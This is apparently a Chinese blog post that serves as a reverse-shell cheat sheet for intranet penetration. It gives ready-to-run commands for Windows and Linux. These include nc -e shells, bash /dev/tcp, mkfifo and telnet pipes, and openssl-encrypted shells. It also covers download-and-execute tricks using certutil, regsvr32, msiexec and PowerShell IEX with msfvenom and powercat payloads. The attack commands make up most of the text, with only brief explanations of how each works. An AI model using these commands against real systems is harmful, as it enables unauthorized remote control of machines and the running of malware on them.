内网渗透——反弹Shell的各种姿势

文章发布时间:

最后更新时间:

反弹Shell

正向shell

  • 控制端主动发起连接请求去连接被控制端,中网网络链路不存在阻碍

    适用场景:控制端与被控端之间是互通无阻的

    image-20230104110228474

    阻碍的来源一方面是受害机如果在内网当中,没有独立的公网ip导致无法访问;另一方面正向从公网连接会受到防火墙安全策略的限制

    正反shell的区分:

    1. 谁是主动方(正向是攻击机,反向是受害机)
    2. 受害机对哪种shell的监管检测更严格(正向)
    3. 受害机在内网中攻击机就无法通过指定ip和端口正向申请shell

反向Shell

  • 被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包

    image-20230104110515219

Windows 反弹 Shell

  • nc.exe

    1. 正向Shell

      被控端:

      1
      nc -lvvp 6666 -e cmd.exe     // -e shell环境重定向至6666端口

      控制端:

      1
      nc 192.168.1.62 6666

      原理:

      被控端将cmd.exe重定向到本地的6666端口, 控制端主动连接受害机的6666端口, 即可获得shell

    2. 反向shell

      控制端:

      1
      nc -lvvp 6666

      被控端:

      1
      nc -e cmd.exe 192.168.1.227 6666

      被控端将cmd.exe重定向到控制单的6666端口,控制单只需要监听本地的6666端口,即可获得shell

  • Rundll32.exe 与Windows操作系统相关

    它允许调用从DLL导出的函数(16位或32位),并将其存储在适当的内存库中

    https://learn.microsoft.com/zh-cn/windows-server/administration/windows-commands/rundll32

    通过Metasploit的SMB Delivery模块发起Rundll32攻击

    1
    2
    3
    4
    5
    use exploit/windows/smb/smb_delivery
    set srvhost msf服务ip
    set lhost smf服务ip
    set lport 4444
    exploite -j

    image-20230105234537555

    执行payload之后将下列payload在目标机中执行,这个攻击依赖于SMB服务,需要目标机开启才行

    1
    rundll32.exe \\172.16.80.136\AeEcdf\test.dll,0

    我这儿不知道为啥一直显示无法加载指定模块

  • Regsvr32.exe

    Regsvr32.exe是一个命令行应用程序,用于注册和注销OLE控件,如Windows注册表中的dll和ActiveX控件。

    Regsvr32.exe安装在Windows XP和Windows后续版本的 %systemroot%\System32文件夹中

    语法: Regsvr32.exe [/s] [/u] [/n] [/i[:cmdline]]

    /u - 注销服务器

    /i - 调用DllInstall传递一个可选的[cmdline]; 当它与/u一起使用是, 它调用dll来写在

    /n - 不要调用DLLRegisterServer; 此选项必须与/i一起使用

    /s - 沉默; 不显示消息框

    通过msf的web delivery模块启动Regsvr32

    1
    2
    3
    4
    5
    6
    use exploit/multi/script/web_delivery
    set srvhost msfip
    set lhost msfip
    set lport 6666
    set paylaod windows/meterpreter/reverse_tcp
    set target Regsvr32

    该模块默认为python编写的exp,我们要改为想要执行的对应脚本语言写的payload

    image-20230106002437690

    image-20230106002022492

1
regsvr32 /s /n /u /i:http://172.16.80.136:8080/ExPIVc.sct scrobj.dll
  • Certuil.exe

    Certuil.exe是作为证书服务的一部分安装的命令行程序, 我们可以用这个工具在计算机中执行恶意的exe文件以获得meterpreter会话

    1
    2
    3
    4
    5
    6
    7
    msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.80.136 lport=1234 -f exe > shell.exe

    python3 -m http.server 8000

    certutil.exe -urlcache -splite -f http://172.16.80.136/shell.exe shell.exe & shell.exe

    certutil.exe -urlcache -splite -f http://172.16.80.136:8000/shell.exe shell.exe delete

    这里的利用就是通过certutil.exe下载指定ip中的恶意shell文件并执行,执行完后清除

    image-20230106003311845

这台xp虚拟机太老,装软件服务也卡。。。下次还是得上靶机

image-20230106003432530

  • Powershell.exe

    通过PowerShell发动Powercat攻击

    这个PoweCat需要有免杀能力

    攻击方先下载并启动一个服务器

    1
    2
    3
    git clone https:/github.com/besimorhino/powercat.git

    python3 -m http.server 8000

    之后监听端口等待接收反弹shell

    1
    nc -lvvp 6666

    靶机执行

    1
    powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.92.128:8000/powercat.ps1');powercat -c 192.168.92.128 -p 6666 -e cmd"
  • Msiexec.exe

    Windows OS 安装有一个Windows安装引擎,MSI包使用msiexe.exe来解释安装

    首先使用msf生成恶意的msi文件,并放到服务器上

    1
    2
    3
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.92.128 lport=6666 -f msi > shell.msi

    python3 -m http.server 8000

    接着受害机执行msiexe下载指定恶意文件,触发反弹shell

    1
    msiexec.exe /q /i http://ip/shell.msi
  • Metasploit.exe

    依然是通过msf生成一个恶意exe

    image-20230106121141463

    参数总结:

    -p Payload to use. Specify ‘-‘ or STDIN for custom

    LHOST 接收反弹shell的ip

    LPORT 接收反弹shell的端口

    -f Output format

Linux 反弹 shell

  • NC正向Shell

    与Windows是一样的,不同点就是shell执行环境这里是bash

    通常情况下被控端:

    1
    nc -lvvp 6666 -e /bin/sh

    控制端

    1
    nc ip 6666

    但是在某些版本的nc处于安全考虑是没有-e参数的,这种情况下如何利用呢?

    1
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.92.128 6666 > /tmp/f

    原理:mkfifo命令首先创建了一个管道,cat将管道里面的内容输出传递给/bin/sh,-i创建一个shell环境,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc传到该管道,由此形成了一个回路

    /tmp/f 管道 => sh => nc => /tmp/f

    另一种方式为

    1
    mknod backpipe p; nc ip port 0<backpipe | /bin/bash 1>backpipe 2>backpipe

    mknod 创建字符设备文件和块设备文件

    backpipe将其中的输入重定向到nc的标准输入当中,并将结果输出通过管道传给bash环境并执行,标准输出和错误输出结果再回传给backpipe

  • Bash

    被控端:

    1
    bash -i &>/dev/tcp/ip/port <&1

    原理:

    首先bash -i > /dev/tcp/ip/port将被控端交互式shell的输出结果重定向到控制端,接着控制端bash -i < /deb/tcp/ip/port 将控制端的输出重定向到被控端的bash环境中执行。最后将其整合在一起,我们需要的是被控端的bash执行,控制端能输入和显示输出

    不适用bash的方式

    1
    2
     exec 5<>/dev/tcp/ip/6666,cat<&5 | while read line; do $line 2>&5>&5;
    done

    <>表示可读可写,这里也就是先建立一个tcp通过并重定向至5,将5中的内容输出给while循环,循环依次接收数据并执行,最终再将输出重定向回tcp通道

  • Telnet

    攻击机:

    1
    nc -lvvp 6666

    目标机:

    1
    2
    rm -f a && mknod a p && telnet ip 6666 0<a | /bin/bash 1>a
    rm -f a;mknod a p;telnet 192.168.92.128 6666 0<a | /bin/bash 1>a
  • Openssl

    openssl反弹443端口,厂商一般都有流量监控设备,直接明文传输会被审查到

    1. 在靶机上生成密钥文件

      1
      openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    2. 在远程攻击机上启动监视器

      1
      openssl s_server -quiet -key key.pem -cert cert.pem -port 443
    3. 在目标机上反弹shell

      1
      mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 |openssl s_client -quiet -connect ip:6666 > /tmp/s;rm /tmp/s